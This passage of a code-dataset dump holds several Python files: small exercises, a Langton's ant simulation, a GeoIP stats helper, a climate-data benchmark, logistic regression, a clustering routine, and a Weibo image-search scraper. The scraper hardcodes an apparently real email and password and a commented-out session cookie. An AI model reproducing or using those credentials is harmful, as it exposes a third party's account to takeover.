kwonly = [(name, arg_hints.get(name)) for name in spec.kwonlyargs]\n full_arg_hints = all(x is not None for x in arg_T)\n\n def raise_type_error_pos(idx, x):\n raise TypeError('argument %r of %s(): must be a %s, got %s' %\n (spec.args[idx], func.__name__, arg_T[idx].__name__,\n type(x).__name__))\n\n\n #\n # We only implement a few cases based on necessity\n #\n if len(arg_T) == 2 and full_arg_hints:\n @functools.wraps(func)\n def decorated(x, y):\n if not isinstance(x, arg_T[0]):\n raise_type_error_pos(0, x)\n\n if not isinstance(y, arg_T[1]):\n raise_type_error_pos(1, y)\n\n return func(x, y)\n return decorated\n\n raise NotImplementedError","repo_name":"wilkerwma/codeschool","sub_path":"vendor/github.com/fabiommendes/iospec/src/iospec/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"6444135890","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 4/18 7:33 2020\n\n@author: KatherineYu\n\"\"\"\n\nquantity = 0\nprice = 0\nsale = []\nremaining = 0\n\nwhile True:\n choice = int(input(\"Choose a system(1- Settings; 2- Imports; 3- Exports; 4- Gains; 5- Storage; 6- Print Start off Quantity & Price): \"))\n if choice == -1: # checks to see if user wants to end program first thing, so won't let program run for nothing\n break\n\n elif choice == 1:\n quantity = int(input(\"Please enter how many apples are in stock: \"))\n while quantity < 1:\n quantity = int(input(\"Please enter how many apples are in stock: \"))\n remaining = quantity # remaining is how many apples left in stock after a series of imports and exports\n # quantity is how many apples you started with (value does not change throughout the program)\n\n price = int(input(\"Enter the price per apple: \"))\n while price < 1:\n price = int(input(\"Enter the price per apple: \"))\n\n elif choice == 2:\n enter = int(input(\"Enter the amount of imports: \"))\n while enter < 1:\n enter = int(input(\"Enter the amount of imports: \"))\n remaining += enter # the amount of imports is added to what you have left in stock\n\n elif choice == 3:\n sold = int(input(\"Enter the amount of apples sold: \"))\n while sold < 1:\n sold = int(input(\"Enter the amount of apples sold: \"))\n \n if remaining < 1:\n print(\"There are no more apples in stock.\")\n elif remaining < sold:\n sale.append(remaining)\n print(\"Only\", remaining, \"apples were in stock.\")\n print(\"You gained $\", remaining * price)\n remaining = 0\n else:\n sale.append(sold)\n remaining -= sale[-1] # sale[-1] is the most recently added item in the list, aka the most recent sale\n # remaining - sale[-1] tells you what you have left after each sale\n print(\"You sold\", sale[-1], \"apples this time\")\n print(\"You gained\", sale[-1]*price, \"from this sale.\")\n\n elif choice == 4:\n print(\"You made\", len(sale), \"sales today.\") # each index in the list 'sale' represents every deal you made\n print(\"Amount sold per sale:\")\n for i in sale:\n print(i)\n print(\"Total gained:\", sum(sale)*price)\n\n elif choice == 5:\n print(\"Your storage has\", remaining, \"apples left.\")\n\n elif choice == 6:\n print(\"\\nThere were \", quantity, \"apples in stock.\")\n print(\"The price is $\", price, \"per apple.\\n\")\n\n else:\n continue\n\n","repo_name":"hikyru/Python","sub_path":"AppleStore_4.18.py","file_name":"AppleStore_4.18.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24612783319","text":"def split_odd_and_even(n):\n n = list(str(n))\n cache = n[0]\n k = []\n for i, d in enumerate(n[1:], 1):\n if int(n[i])%2 == int(n[i-1])%2:\n cache += d\n else:\n k += [cache]\n cache = d\n k += [cache]\n return [*map(int,k)]\n","repo_name":"the-carpnter/codewars_level_6_kata","sub_path":"split_odd_and_even.py","file_name":"split_odd_and_even.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9406353288","text":"\"\"\"\nLangton's ant\n\n@ https://en.wikipedia.org/wiki/Langton%27s_ant\n@ https://upload.wikimedia.org/wikipedia/commons/0/09/LangtonsAntAnimated.gif\n\"\"\"\n\nfrom functools import partial\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\nWIDTH = 80\nHEIGHT = 80\n\n\nclass LangtonsAnt:\n \"\"\"\n Represents the main LangonsAnt algorithm.\n\n >>> la = LangtonsAnt(2, 2)\n >>> la.board\n [[True, True], [True, True]]\n >>> la.ant_position\n (1, 1)\n \"\"\"\n\n def __init__(self, width: int, height: int) -> None:\n # Each square is either True or False where True is white and False is black\n self.board = [[True] * width for _ in range(height)]\n self.ant_position: tuple[int, int] = (width // 2, height // 2)\n\n # Initially pointing left (similar to the wikipedia image)\n # (0 = 0° | 1 = 90° | 2 = 180 ° | 3 = 270°)\n self.ant_direction: int = 3\n\n def move_ant(self, axes: plt.Axes | None, display: bool, _frame: int) -> None:\n \"\"\"\n Performs three tasks:\n 1. The ant turns either clockwise or anti-clockwise according to the colour\n of the square that it is currently on. If the square is white, the ant\n turns clockwise, and if the square is black the ant turns anti-clockwise\n 2. The ant moves one square in the direction that it is currently facing\n 3. The square the ant was previously on is inverted (White -> Black and\n Black -> White)\n\n If display is True, the board will also be displayed on the axes\n\n >>> la = LangtonsAnt(2, 2)\n >>> la.move_ant(None, True, 0)\n >>> la.board\n [[True, True], [True, False]]\n >>> la.move_ant(None, True, 0)\n >>> la.board\n [[True, False], [True, False]]\n \"\"\"\n directions = {\n 0: (-1, 0), # 0°\n 1: (0, 1), # 90°\n 2: (1, 0), # 180°\n 3: (0, -1), # 270°\n }\n x, y = self.ant_position\n\n # Turn clockwise or anti-clockwise according to colour of square\n if self.board[x][y] is True:\n # The square is white so turn 90° clockwise\n self.ant_direction = (self.ant_direction + 1) % 4\n else:\n # The square is black so turn 90° anti-clockwise\n self.ant_direction = (self.ant_direction - 1) % 4\n\n # Move ant\n move_x, move_y = directions[self.ant_direction]\n self.ant_position = (x + move_x, y + move_y)\n\n # Flip colour of square\n self.board[x][y] = not self.board[x][y]\n\n if display and axes:\n # Display the board on the axes\n axes.get_xaxis().set_ticks([])\n axes.get_yaxis().set_ticks([])\n axes.imshow(self.board, cmap=\"gray\", interpolation=\"nearest\")\n\n def display(self, frames: int = 100_000) -> None:\n \"\"\"\n Displays the board without delay in a matplotlib plot\n to visually understand and track the ant.\n\n >>> _ = LangtonsAnt(WIDTH, HEIGHT)\n \"\"\"\n fig, ax = plt.subplots()\n # Assign animation to a variable to prevent it from getting garbage collected\n self.animation = FuncAnimation(\n fig, partial(self.move_ant, ax, True), frames=frames, interval=1\n )\n plt.show()\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n\n LangtonsAnt(WIDTH, HEIGHT).display()\n","repo_name":"TheAlgorithms/Python","sub_path":"cellular_automata/langtons_ant.py","file_name":"langtons_ant.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"} +{"seq_id":"75458327872","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport base64\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom PictureSpider.logger import set_logger\nimport requests\nimport json\nimport logging\nfrom PictureSpider.items import BingItem\n\nset_logger(\"weibo\", logging.INFO)\n\ndef stringToDict(cookie):\n itemDict = {}\n items = cookie.split(';')\n for item in items:\n key = item.split('=')[0].replace(' ', '')\n value = item.split('=')[1]\n itemDict[key] = value\n return itemDict\n\ndef get_cookie_from_login_sina_com_cn(account, password):\n \"\"\" 获取一个账号的Cookie \"\"\"\n loginURL = \"https://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.18)\"\n username = base64.b64encode(account.encode(\"utf-8\")).decode(\"utf-8\")\n postData = {\n \"entry\": \"sso\",\n \"gateway\": \"1\",\n \"from\": \"null\",\n \"savestate\": \"30\",\n \"useticket\": \"0\",\n \"pagerefer\": \"\",\n \"vsnf\": \"1\",\n \"su\": username,\n \"service\": \"sso\",\n \"sp\": password,\n \"sr\": \"1440*900\",\n \"encoding\": \"UTF-8\",\n \"cdult\": \"3\",\n \"domain\": \"sina.com.cn\",\n \"prelt\": \"0\",\n \"returntype\": \"TEXT\",\n }\n session = requests.Session()\n r = session.post(loginURL, data=postData)\n jsonStr = r.content.decode(\"gbk\")\n info = json.loads(jsonStr)\n if info[\"retcode\"] == \"0\":\n print(\"Get Cookie Success!( Account:%s )\" % account)\n cookie = session.cookies.get_dict()\n return cookie\n else:\n print(\"Failed!( Reason:%s )\" % info[\"reason\"])\n return\n\nclass WeiboSpider(scrapy.Spider):\n name = 'weibo'\n allowed_domains = ['s.weibo.com']\n start_urls = ['http://s.weibo.com/']\n default_headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,ko;q=0.7',\n 'Cache-Control': 'max-age=0',\n \"Connection\": \"keep - alive\",\n \"Host\": \"s.weibo.com\",\n \"Upgrade-Insecure-Requests\":1,\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',\n }\n # cookie = \"_s_tentry=gl.ali213.net; UOR=gl.ali213.net,widget.weibo.com,www.howtoing.com; login_sid_t=99adeb40c85314559f6ee27d85c6f289; cross_origin_proto=SSL; Apache=425584148259.2815.1577595064696; SINAGLOBAL=425584148259.2815.1577595064696; ULV=1577595064704:1:1:1:425584148259.2815.1577595064696:; un=dragon0486@163.com; wvr=6; SCF=AguUrz2aOzj6aiKJhuVtR80rMWc5WaBk4DEu4fA0ueqo9Y-vfiCWNcQjcQHuVcDllLZoD9v6STIkNOfyXywxBG0.; SUB=_2A25zDCIjDeRhGeRG71IR8ifPyj6IHXVQeBTrrDV8PUNbmtAfLVX5kW9NUgurfxRxnfnunDO6Gt0_GUSu_R96wOES; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9WhYmq3C-xkW9MRrIH1nbCWm5JpX5K2hUgL.FozRSh57eo.0eKz2dJLoIpjLxK-L1KeL1h2LxK-LBonL12eLxKBLBonLBoqt; SUHB=0h1Irx3w-2C_Rv; ALF=1609139699; SSOLoginState=1577603699; secsys_id=2ce88653d2afbc8451f64cc14476bd09; WBStorage=42212210b087ca50|undefined; webim_unReadCount=%7B%22time%22%3A1577607574098%2C%22dm_pub_total%22%3A0%2C%22chat_group_client%22%3A0%2C%22allcountNum%22%3A0%2C%22msgbox%22%3A0%7D\"\n # cookie = stringToDict(cookie)\n main_keyword = ['军人', '城市工人', '警察', '工人', '施工', '站岗', '洪水', '抢修', '军训', '工地', '洪涝', '电力', \"教官\"]\n second_keyword = ['冬季', '冬天', '夜间', '水利', '暴雨', '参观', '遮阳帽', '变电站', '绒毛帽', '雨天', '鸭舌帽', '旅游', '雪地', '毛帽', '南网',\n '草帽', '雷雨',\n '棒球帽', '严寒', '鹅毛大雪', '照明']\n total_keyword = []\n for i in main_keyword:\n total_keyword.append(i)\n for j in second_keyword:\n total_keyword.append(i + \" \" + j)\n\n cookie = get_cookie_from_login_sina_com_cn(\"dragon0486@163.com\",\"long0486.\")\n if not cookie:\n logging.error(\"\\nuser login fail,existing!!\\n\")\n exit(0)\n\n def start_requests(self):\n for one in self.total_keyword:\n crawl_url = \"https://s.weibo.com/weibo?q=\"+ one+ \"&nodup=1&page=1\"\n yield Request(url=crawl_url, callback=self.parse,cookies=self.cookie,headers=self.default_headers)\n\n def parse(self, response):\n id_list = Selector(response=response).xpath('//div[@class=\"media media-piclist\"]//img[re:test(@src,\"\\S+\\.jpg\")]/@src').extract()\n for url in id_list:\n url_path = \"https://wx3.sinaimg.cn/large/{}\".format(url.split(\"/\")[-1])\n item_obj = BingItem(href=url_path, save_prefix=\"helmet_weibo\")\n yield item_obj\n\n id_list = Selector(response=response).xpath('//div[@class=\"m-page\"]//a[@class=\"next\"]/@href').extract()\n for next_url in id_list:\n if int(next_url.split(\"&page=\")[-1])>int(response.url.split(\"&page=\")[-1]): # 最多50页\n logging.info(next_url)\n yield Request(url=\"https://s.weibo.com\"+next_url, callback=self.parse,\n headers=self.default_headers.update({\"Referer\":response.url}),\n cookies=self.cookie,meta={\n 'dont_redirect': True,\n 'handle_httpstatus_list': [302]\n },)\n\n","repo_name":"aurorazl/PictureSpider","sub_path":"PictureSpider/spiders/weibo.py","file_name":"weibo.py","file_ext":"py","file_size_in_byte":5395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12883794206","text":"from dask.distributed import Client, LocalCluster, progress\ncluster = LocalCluster(n_workers=2)\nclient = Client(cluster)\n\nimport s3fs\nimport itertools\nfrom fsspec.implementations.local import LocalFileSystem\n\nimport dask\nfrom dask.delayed import delayed\n\nbase_path = 's3://eso-west2-curated/Shared/geostationary/GOES-16/L1B/2019/203'\noutdir = \"./data/results/kerchunk-west2\"\nanon=False\n\n# import shutil\n# shutil.rmtree(outdir)\n\ndef lsf(path):\n paths = fs.ls(path)\n return [p for p in paths if p.endswith(\".nc\")]\n\ndef ls_recursive(paths):\n it = [delayed(lsf)(p) for p in paths]\n return list(itertools.chain.from_iterable(dask.compute(*it)))\n\nfs = s3fs.S3FileSystem(anon=anon)\n\nhrs = fs.ls(base_path)\n# This step can take a while if done sequentially...so we accelerate it with dask\nall_paths_raw = ls_recursive(hrs)\n\n# In case both RadC and RadF files are present, use only the RadF files.\nall_paths = sorted([p for p in all_paths_raw if \"ABI-L1b-RadF\" in p])\n\nfrom pangeo_forge_recipes.patterns import pattern_from_file_sequence\n\npattern = pattern_from_file_sequence(['s3://' + path for path in all_paths], 't')\n\nfrom pangeo_forge_recipes.recipes.reference_hdf_zarr import HDFReferenceRecipe\nfrom pangeo_forge_recipes.storage import StorageConfig, FSSpecTarget, CacheFSSpecTarget, MetadataTarget\n\ntarget = FSSpecTarget(LocalFileSystem(), f\"{outdir}/result\")\ncache = CacheFSSpecTarget(LocalFileSystem(), f\"{outdir}/cache\")\nmetadata = MetadataTarget(LocalFileSystem(), f\"{outdir}/metadata\")\nrec = HDFReferenceRecipe(\n pattern,\n storage_config = StorageConfig(target, cache, metadata),\n netcdf_storage_options={\"anon\": anon}\n)\n\ndelayed = rec.to_dask()\nresult = delayed.persist()\nprogress(result)\n","repo_name":"ashiklom/goes-benchmarks","sub_path":"old-scripts/01-kerchunk-west2.py","file_name":"01-kerchunk-west2.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34747148586","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 5 14:51:43 2020\r\n\r\n@author: Abdul Qayyum\r\n\"\"\"\r\n\r\n#%% Logisitc Regression \r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\nimport torch\r\nfrom torch import tensor\r\n#from utils import add_ones, make_tensor, minmax_scale, t_type\r\n\r\n#%matplotlib inline\r\n\r\n# basic function\r\nimport torch\r\n\r\nt_type = torch.float64\r\n\r\ndef add_ones(X):\r\n \"\"\"\r\n Add a column of ones at the left hand side of matrix X\r\n X: (N, d) tensor\r\n Returns\r\n (N, d+1) tensor\r\n \"\"\"\r\n ones = torch.ones((X.shape[0],1), dtype=t_type)\r\n X = torch.cat((ones, X), dim=-1)\r\n return X\r\n\r\ndef make_tensor(*args):\r\n \"\"\"\r\n Check if arguments are tensor, converts arguments to tensor\r\n accepts and returns Iterables\r\n \"\"\"\r\n tensors = [el if torch.is_tensor(el) else torch.tensor(el, dtype=t_type) for el in args ]\r\n return tensors[0] if len(tensors)==1 else tensors\r\n\r\ndef minmax_scale(X):\r\n \"\"\"\r\n X: 2 dim. numpy array or torch tensor\r\n \"\"\"\r\n N, d = X.shape\r\n for i in range(d):\r\n col = X[:, i]\r\n col_max, col_min = col.max(), col.min()\r\n if col_max == col_min:\r\n continue\r\n else:\r\n X[:, i] = (col - col_min) / (col_max - col_min)\r\n return X\r\n######################################## load dataset ###########################################\r\ndf = sns.load_dataset(\"iris\")\r\ndf[\"class\"] = df.species.apply(lambda x: 1 if x=='setosa' else 0)\r\ndf.head()\r\n\r\n\r\nX = df[df.columns[:3]].values\r\ny = df[\"class\"].values\r\ny = y.reshape(-1,1)\r\n\r\n################################################ define function ###################################\r\ndef sigmoid(z):\r\n # z: torch.float64\r\n return 1/(1+torch.exp(-z))\r\n\r\ndef gradient(X, y, theta):\r\n z = X@theta\r\n return X.t()@(y - sigmoid(z))\r\n\r\ndef log_likelihood(X, y, theta):\r\n z = X@theta\r\n return y.t()@torch.log(sigmoid(z)) + (1-y).t()@torch.log(sigmoid(-z))\r\n\r\ndef logistic_regression_function(X, y, n_iter = 1000, step_size = 0.01):\r\n X, y = make_tensor(X, y)\r\n X = minmax_scale(add_ones(X))\r\n y = y.reshape(-1, 1)\r\n \r\n N, d = X.shape\r\n theta = torch.zeros((d,1), dtype=t_type)\r\n ll = []\r\n theta_list = []\r\n for i in range(n_iter):\r\n grad = gradient(X, y, theta)\r\n # update theta via gradient ascent\r\n # maximise log likelihood\r\n theta = theta + step_size * grad\r\n ll.append(log_likelihood(X,y,theta).item())\r\n theta_list.append(theta)\r\n return theta, ll, theta_list\r\n\r\ntheta, ll, theta_list = logistic_regression_function(X, y, n_iter=1000)\r\nplt.plot(ll)\r\n\r\ndf = sns.load_dataset(\"iris\")\r\ndf.head()\r\ny = df.species\r\n\r\nk = 'setosa'\r\ny_k = y.apply(lambda x: 1 if x==k else 0)\r\ny_k = make_tensor(y_k.values)\r\n\r\n\r\nclass LogisticRegression:\r\n def __init__(self, alpha=0.01, max_iter=1000, fit_intercept=True):\r\n self.alpha = alpha # learning rate\r\n self.max_iter = max_iter\r\n self.__fit_intercept = fit_intercept\r\n self.loss_history = []\r\n self.theta_history = []\r\n \r\n def __sigmoid(self, z):\r\n # z: torch.float64\r\n return 1/(1+torch.exp(-z))\r\n\r\n def __gradient(self, X, y, theta):\r\n z = X@theta\r\n return X.t()@(y - self.__sigmoid(z))\r\n\r\n def log_likelihood(self, X, y, theta):\r\n z = X@theta\r\n return y.t()@torch.log(self.__sigmoid(z)) + (1-y).t()@torch.log(self.__sigmoid(-z))\r\n \r\n def fit(self, X,y):\r\n \"\"\"\r\n X: (N, d) matrix (iterable)\r\n y: (N, 1) column vector (iterable)\r\n \"\"\"\r\n X, y = make_tensor(X, y)\r\n assert X.shape[0] == y.shape[0], \"Dimensions must fit\"\r\n X = minmax_scale(X) # scale\r\n if self.__fit_intercept:\r\n X = add_ones(X)\r\n N, d = X.shape\r\n \r\n theta = torch.zeros((d,1), dtype=t_type) # initialize gradient\r\n # reset history\r\n self.loss_history.clear()\r\n self.theta_history.clear()\r\n for i in range(self.max_iter):\r\n grad = self.__gradient(X, y, theta)\r\n # update theta via gradient ascent\r\n # maximise log likelihood\r\n theta = theta + self.alpha * grad\r\n self.loss_history.append(-self.log_likelihood(X,y,theta).item())\r\n self.theta_history.append(theta) \r\n self.theta = theta\r\n\r\nlm = LogisticRegression()\r\n\r\ny = y.apply(lambda x: 1 if x=='setosa' else 0).values.reshape(-1,1)\r\nlm.fit(X, y)\r\nplt.plot(lm.loss_history)\r\n\r\n","repo_name":"RespectKnowledge/Imageprocessing_ML_DL_Labs","sub_path":"Logisitic_Regression_pytorch.py","file_name":"Logisitic_Regression_pytorch.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5424397235","text":"# -*- encoding: utf-8 -*-\n\n\"\"\"\nThe helpers for events stats processing.\n\"\"\"\n\nimport datetime\nimport hashlib\nimport logging\nimport os\nimport re\n\nimport geoip2.database\nimport maxminddb\nfrom django.conf import settings\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.db import models\nfrom django.utils.encoding import smart_str\nfrom django.utils.functional import cached_property\nfrom geoip2.errors import AddressNotFoundError\n\nfrom b24online.models import RegisteredEventType\nfrom b24online.stats import InconsistentDataError\nfrom b24online.stats.utils import glue, get_redis_connection\n\nlogger = logging.getLogger(__name__)\n\nclass GeoIPHelper(object):\n \"\"\"\n GeoIP actions wrapper.\n \"\"\"\n IP_KEYS_ORDER = (\n 'HTTP_X_FORWARDED_FOR',\n 'HTTP_CLIENT_IP',\n 'HTTP_X_REAL_IP',\n 'HTTP_X_FORWARDED',\n 'HTTP_X_CLUSTER_CLIENT_IP',\n 'HTTP_FORWARDED_FOR',\n 'HTTP_FORWARDED',\n 'HTTP_VIA',\n 'X_FORWARDED_FOR',\n 'REMOTE_ADDR',\n )\n\n _state = {}\n\n def __new__(cls, *p, **k):\n self = object.__new__(cls)\n self.__dict__ = cls._state\n return self\n\n @cached_property\n def city_reader(self):\n return geoip2.database.Reader(os.path.join(self.gi_db_path, 'GeoLite2-City.mmdb'))\n\n @cached_property\n def country_reader(self):\n return geoip2.database.Reader(os.path.join(self.gi_db_path, 'GeoLite2-Country.mmdb'))\n\n @cached_property\n def gi_db_path(self):\n return getattr(settings, 'GEOIP_DB_PATH', None)\n\n @staticmethod\n def is_valid_ip(ip_str):\n \"\"\"\n Check the validity of an IPv4 address\n \"\"\"\n match = re.match(\"^(\\d{0,3})\\.(\\d{0,3})\\.(\\d{0,3})\\.(\\d{0,3})$\", ip_str)\n if not match:\n return False\n quad = []\n for number in match.groups():\n quad.append(int(number))\n if quad[0] < 1:\n return False\n for number in quad:\n if number > 255 or number < 0:\n return False\n return True\n\n @classmethod\n def get_request_ip(cls, request):\n \"\"\"\n Return the real IP fetched from request META headers.\n \"\"\"\n for key in cls.IP_KEYS_ORDER:\n value = request.META.get(key, '').strip()\n if value:\n ips = [ip.strip().lower() for ip in value.split(',')]\n for ip_str in ips:\n if ip_str and cls.is_valid_ip(ip_str):\n return ip_str\n return None\n\n @classmethod\n def get_geoip_data(cls, ip):\n try:\n return cls().city_reader.city(ip)\n # except (maxminddb.InvalidDatabaseError, AddressNotFoundError):\n # return None\n # return cls().country_reader.country(ip)\n except (maxminddb.InvalidDatabaseError, AddressNotFoundError):\n return None\n\n @staticmethod\n def get_random_ip():\n \"\"\"\n Return random generated IP address.\n\n For debugging.\n \"\"\"\n import random\n import socket\n import struct\n return socket.inet_ntoa(\n struct.pack('>I', random.randint(1, 0xffffffff)))\n\n\nclass RegisteredEventHelper(object):\n \"\"\"\n Wrapper for RegisteredEvent.\n \"\"\"\n\n ready_to_process = glue('registered', 'events', 'ready')\n geo_data_key = glue('registered', 'events', 'geo_data')\n already_key = glue('registered', 'events', 'already')\n\n @classmethod\n def get_request_key(cls, request_uuid, affix):\n \"\"\"\n Return events query key for the HTTPRequest instance\n \"\"\"\n\n return glue('registered', 'events',\n datetime.date.today().strftime('%Y-%m-%d'),\n request_uuid, affix)\n\n @classmethod\n def get_stored_event(cls, instance, event_type_slug):\n pass\n \"\"\"\n Return the key for Instance and EventType\n \"\"\"\n # assert isinstance(instance, models.Model), 'Invalid parameter'\n # try:\n # content_type = ContentType.objects.get_for_model(instance)\n # event_type = RegisteredEventType.objects.get(\n # slug=event_type_slug)\n # except (RegisteredEventType.DoesNotExist, AttributeError) as exc:\n # err_msg = 'Error: %s' % exc\n # logger.error(err_msg)\n # raise InconsistentDataError(err_msg)\n # else:\n # return [event_type.pk, content_type.pk, instance.pk]\n\n @classmethod\n def register(cls, event_stored_data, request):\n pass\n \"\"\"\n Store the Event in Redis queue.\n \"\"\"\n # event_stored_key = glue('registered', 'event', event_stored_data)\n # request_uuid = getattr(request, '_uuid', None)\n # if request_uuid:\n # events_queue_key = cls.get_request_key(request_uuid, 'queue')\n # if events_queue_key:\n # rconn = get_redis_connection()\n # rconn.lpush(events_queue_key, event_stored_key)\n\n @classmethod\n def get_unique_key(cls, extra_data):\n \"\"\"\n Return the unique key based on instance, IP and UA.\n \"\"\"\n ip = extra_data.get('ip_address')\n ua = extra_data.get('user_agent')\n if all((ip, ua)):\n meaning_data = (ip, ua)\n key_str_raw = ':'.join(map(smart_str, meaning_data))\n key_str = key_str_raw.encode('utf-8')\n return hashlib.md5(key_str).hexdigest()\n return None\n\n @classmethod\n def get_geoip_info_key(cls, extra_data):\n key_data = []\n\n if 'country' in extra_data and extra_data['country'] != 'None':\n key_data.append(extra_data['country'].get('is_code', '').strip())\n key_data.append(extra_data['country']['names'].get('en', '').strip())\n else:\n key_data += ['undef', 'undef']\n\n if 'city' in extra_data and extra_data['city'] != 'None':\n key_data.append(extra_data['city']['names'].get('en', '').strip())\n else:\n key_data.append('undef')\n\n return glue(key_data)\n","repo_name":"alexvnukoff/project","sub_path":"b24project/b24online/stats/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24206663347","text":"\"\"\"Algoritmo de clustering List of Clusters\"\"\"\r\n\r\n# Author: Juan Martín Loyola \r\n\r\nimport numpy as np\r\nfrom scipy.spatial import distance\r\n\r\nnp.random.seed(0)\r\n\r\ndef get_distance(X, D, i, j, distance_metric='euclidean'):\r\n if D[i,j] == -1:\r\n D[i,j] = distance.cdist(X[i].reshape(1,X.shape[1]),\r\n X[j].reshape(1,X.shape[1]),\r\n distance_metric)\r\n D[j,i] = D[i,j]\r\n return D[i,j]\r\n\r\ndef build_list_clusters(X, center_choise, fixed_radius,\r\n fixed_size, distance_metric):\r\n \"\"\"Algoritmo de clustering List of Clusters.\r\n\r\n Parámetros\r\n ----------\r\n X : arreglo, tamaño (n_samples, n_features)\r\n Las observaciones a clusterizar.\r\n\r\n center_choise : {'p1', 'p2', 'p3', 'p4', 'p5'}, opcional,\r\n por defecto: 'p1'\r\n Heurística de selección del centro:\r\n - 'p1': aleatoria\r\n - 'p2': el elemento más cercano al centro anterior\r\n en el conjunto restante\r\n - 'p3': el elemento más alejado al centro anterior\r\n en el conjunto restante\r\n - 'p4': el elemento que minimice la suma de las\r\n distancia a los centros previos\r\n - 'p5': el elemento que maximice la suma de las\r\n distancia a los centros previos\r\n\r\n fixed_radius : float, opcional, por defecto: None\r\n La longitud de radio de cada cluster.\r\n\r\n fixed_size : int, opcional, por defecto: None\r\n El número de elementos en cada cluster.\r\n\r\n distance_metric : {'euclidean', 'cityblock'}, opcional,\r\n por defecto: 'euclidean'\r\n La medida de distancia a considerar.\r\n\r\n Retorna\r\n -------\r\n centroid : float ndarray\r\n centros encontrados.\r\n\r\n radius : integer ndarray\r\n radius[i] es el radio del i'esimo centroide.\r\n\r\n label : integer ndarray con tamaño (n_samples,)\r\n label[i] es el codigo o indice del centroide del cluster al\r\n que elemento i'esimo pertenece.\r\n\r\n \"\"\"\r\n n_samples, n_features = X.shape\r\n D = -np.ones((n_samples, n_samples))\r\n\r\n centers = []\r\n centers_idx = []\r\n radius = []\r\n labels = -np.ones((n_samples,))\r\n\r\n label_counter = 0\r\n\r\n elementos_restantes = list(range(n_samples))\r\n\r\n while elementos_restantes:\r\n if center_choise == 'p1':\r\n c = np.random.choice(elementos_restantes, size=1)\r\n elif center_choise == 'p2':\r\n if centers == []:\r\n c = np.random.choice(elementos_restantes, size=1)\r\n else:\r\n last_center_idx = centers_idx[-1]\r\n min_dist = np.inf\r\n idx_min_dist = None\r\n for r in elementos_restantes:\r\n dist = get_distance(X, D, last_center_idx, r,\r\n distance_metric)\r\n if dist < min_dist:\r\n min_dist = dist\r\n idx_min_dist = r\r\n c = idx_min_dist\r\n elif center_choise == 'p3':\r\n if centers == []:\r\n c = np.random.choice(elementos_restantes, size=1)\r\n else:\r\n last_center_idx = centers_idx[-1]\r\n max_dist = -np.inf\r\n idx_max_dist = None\r\n for r in elementos_restantes:\r\n dist = get_distance(X, D, last_center_idx, r,\r\n distance_metric)\r\n if max_dist < dist:\r\n max_dist = dist\r\n idx_max_dist = r\r\n c = idx_max_dist\r\n elif center_choise == 'p4':\r\n if centers == []:\r\n c = np.random.choice(elementos_restantes, size=1)\r\n else:\r\n min_dist = np.inf\r\n idx_min_dist = None\r\n for r in elementos_restantes:\r\n suma_dist = 0\r\n for x in centers_idx:\r\n suma_dist += get_distance(X, D, r, x, distance_metric)\r\n if suma_dist < min_dist:\r\n min_dist = suma_dist\r\n idx_min_dist = r\r\n c = idx_min_dist\r\n elif center_choise == 'p5':\r\n if centers == []:\r\n c = np.random.choice(elementos_restantes, size=1)\r\n else:\r\n max_dist = -np.inf\r\n idx_max_dist = None\r\n for r in elementos_restantes:\r\n suma_dist = 0\r\n for x in centers_idx:\r\n suma_dist += get_distance(X, D, r, x, distance_metric)\r\n if max_dist < suma_dist:\r\n max_dist = suma_dist\r\n idx_max_dist = r\r\n c = idx_max_dist\r\n\r\n # Transformamos en vector (n_features,) la matriz de dos\r\n # dimensiones (1, n_features).\r\n np_c = X[c].flatten()\r\n # Agregamos el centro actual a la lista de centros.\r\n centers.append([x for x in np_c])\r\n centers_idx.append(c)\r\n\r\n elementos_restantes.pop(elementos_restantes.index(c))\r\n\r\n labels[c] = label_counter\r\n\r\n if fixed_size is None:\r\n for r in list(elementos_restantes):\r\n dist = get_distance(X, D, c, r, distance_metric)\r\n if dist < fixed_radius:\r\n labels[r] = label_counter\r\n elementos_restantes.pop(elementos_restantes.index(r))\r\n radius.append(fixed_radius)\r\n else:\r\n for r in elementos_restantes:\r\n _ = get_distance(X, D, c, r, distance_metric)\r\n sorted_idx = np.argsort(D[elementos_restantes,c])\r\n in_cluster = []\r\n for j in sorted_idx[:fixed_size].tolist():\r\n in_cluster.append(elementos_restantes[j])\r\n max_distance = get_distance(X, D, c, in_cluster[-1], distance_metric)\r\n labels[in_cluster] = label_counter\r\n for x in 